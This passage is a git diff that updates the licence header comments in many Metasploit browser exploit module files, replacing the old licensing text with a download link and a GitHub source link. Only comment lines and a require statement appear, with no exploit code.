a/modules/exploits/windows/browser/mozilla_mchannel.rb b/modules/exploits/windows/browser/mozilla_mchannel.rb index 43e01d7e14..3b9e5a5e58 100644 --- a/modules/exploits/windows/browser/mozilla_mchannel.rb +++ b/modules/exploits/windows/browser/mozilla_mchannel.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index 8233fe9876..1b10484482 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/browser/mozilla_nstreerange.rb b/modules/exploits/windows/browser/mozilla_nstreerange.rb index 755c57a686..b5f4f95362 100644 --- a/modules/exploits/windows/browser/mozilla_nstreerange.rb +++ b/modules/exploits/windows/browser/mozilla_nstreerange.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/mozilla_reduceright.rb b/modules/exploits/windows/browser/mozilla_reduceright.rb index 260235857d..85fe5fc09c 100644 --- a/modules/exploits/windows/browser/mozilla_reduceright.rb +++ b/modules/exploits/windows/browser/mozilla_reduceright.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb index bc8dbfab33..72846fe0da 100644 --- a/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb +++ b/modules/exploits/windows/browser/ms03_020_ie_objecttype.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms05_054_onload.rb b/modules/exploits/windows/browser/ms05_054_onload.rb index 70a48128be..15ed99f71d 100644 --- a/modules/exploits/windows/browser/ms05_054_onload.rb +++ b/modules/exploits/windows/browser/ms05_054_onload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb index ed1da559dd..231312c141 100644 --- a/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb +++ b/modules/exploits/windows/browser/ms06_001_wmf_setabortproc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms06_013_createtextrange.rb b/modules/exploits/windows/browser/ms06_013_createtextrange.rb index 0828dd7bda..b9a7b6fe36 100644 --- a/modules/exploits/windows/browser/ms06_013_createtextrange.rb +++ b/modules/exploits/windows/browser/ms06_013_createtextrange.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms06_055_vml_method.rb b/modules/exploits/windows/browser/ms06_055_vml_method.rb index c0c1e42737..3dcbbccbd5 100644 --- a/modules/exploits/windows/browser/ms06_055_vml_method.rb +++ b/modules/exploits/windows/browser/ms06_055_vml_method.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb index 4609bc8fa3..de4301f669 100644 --- a/modules/exploits/windows/browser/ms06_057_webview_setslice.rb +++ b/modules/exploits/windows/browser/ms06_057_webview_setslice.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms06_067_keyframe.rb b/modules/exploits/windows/browser/ms06_067_keyframe.rb index 67e151f89c..607cc5e58f 100644 --- a/modules/exploits/windows/browser/ms06_067_keyframe.rb +++ b/modules/exploits/windows/browser/ms06_067_keyframe.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms06_071_xml_core.rb b/modules/exploits/windows/browser/ms06_071_xml_core.rb index d1c95cb19e..9e8274a103 100644 --- a/modules/exploits/windows/browser/ms06_071_xml_core.rb +++ b/modules/exploits/windows/browser/ms06_071_xml_core.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb index 24c75286f9..3c8b6613ef 100644 --- a/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb +++ b/modules/exploits/windows/browser/ms07_017_ani_loadimage_chunksize.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb index 0a642c330e..22115cd278 100644 --- a/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb +++ b/modules/exploits/windows/browser/ms08_041_snapshotviewer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb index 39a7354564..704b64b93b 100644 --- a/modules/exploits/windows/browser/ms08_053_mediaencoder.rb +++ b/modules/exploits/windows/browser/ms08_053_mediaencoder.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb index a0892f263c..f9d1e647c7 100644 --- a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb +++ b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb index aa6d3c5b27..31fc8794b7 100644 --- a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb +++ b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb index f4473d2cb0..635c0a5b8a 100644 --- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb +++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb index f7db6ed6ee..69edba0efd 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb index abaee9596a..18fd564072 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/browser/ms09_072_style_object.rb b/modules/exploits/windows/browser/ms09_072_style_object.rb index 0f75b1839e..c33b60fee7 100644 --- a/modules/exploits/windows/browser/ms09_072_style_object.rb +++ b/modules/exploits/windows/browser/ms09_072_style_object.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms10_002_aurora.rb b/modules/exploits/windows/browser/ms10_002_aurora.rb index c03db1e77b..31049e7c9b 100644 --- a/modules/exploits/windows/browser/ms10_002_aurora.rb +++ b/modules/exploits/windows/browser/ms10_002_aurora.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index f06826111f..3c799e883e 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb index 2fbd292239..d31322e16c 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb index 0a044e9814..ae26aa507b 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb index c2e8a7adf7..b7f7564108 100644 --- a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb +++ b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index 530c058245..cdd6e2032c 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb index fd2c19f1df..d3c2ead3bd 100644 --- a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb +++ b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb index 378d606f66..5fd627ef69 100644 --- a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index db135b0115..0649d42364 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index a2944c2cf7..586eb2e012 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index c01b72659f..5b41fbca5e 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb index 021df9c8be..9038506afe 100644 --- a/modules/exploits/windows/browser/ms11_081_option.rb +++ b/modules/exploits/windows/browser/ms11_081_option.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb index 217e18c46c..dbc379bd36 100644 --- a/modules/exploits/windows/browser/ms11_093_ole32.rb +++ b/modules/exploits/windows/browser/ms11_093_ole32.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index ea8581dd08..9ab9177e17 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb index 3ca8262929..c7a81a635f 100644 --- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb index e1dd4d6712..f1bfe4d198 100644 --- a/modules/exploits/windows/browser/ms12_037_same_id.rb +++ b/modules/exploits/windows/browser/ms12_037_same_id.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index b5d5dd7a29..265da0419e 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 2fbe879d94..221f219ff4 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 1368a81c43..df84ae3234 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index 1b5894af88..068dcf7e10 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index 68c9c9fb98..6578b01d79 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index cdbd765418..9b93e477f5 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/msvidctl_mpeg2.rb b/modules/exploits/windows/browser/msvidctl_mpeg2.rb index e9ab2b7507..49be6c0f6c 100644 --- a/modules/exploits/windows/browser/msvidctl_mpeg2.rb +++ b/modules/exploits/windows/browser/msvidctl_mpeg2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/exploits/windows/browser/mswhale_checkforupdates.rb b/modules/exploits/windows/browser/mswhale_checkforupdates.rb index 2e306c491b..143feacd4a 100644 --- a/modules/exploits/windows/browser/mswhale_checkforupdates.rb +++ b/modules/exploits/windows/browser/mswhale_checkforupdates.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index aa58ebb2cd..9b08535672 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb index c56dc39c8b..fc2e8760d7 100644 --- a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb +++ b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/nis2004_antispam.rb b/modules/exploits/windows/browser/nis2004_antispam.rb index 143b71fbf0..978819e958 100644 --- a/modules/exploits/windows/browser/nis2004_antispam.rb +++ b/modules/exploits/windows/browser/nis2004_antispam.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/nis2004_get.rb b/modules/exploits/windows/browser/nis2004_get.rb index 8d6d6e8bbe..d68c29f45e 100644 --- a/modules/exploits/windows/browser/nis2004_get.rb +++ b/modules/exploits/windows/browser/nis2004_get.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb index 1d09b79e5a..d3e9b898c1 100644 --- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb +++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git 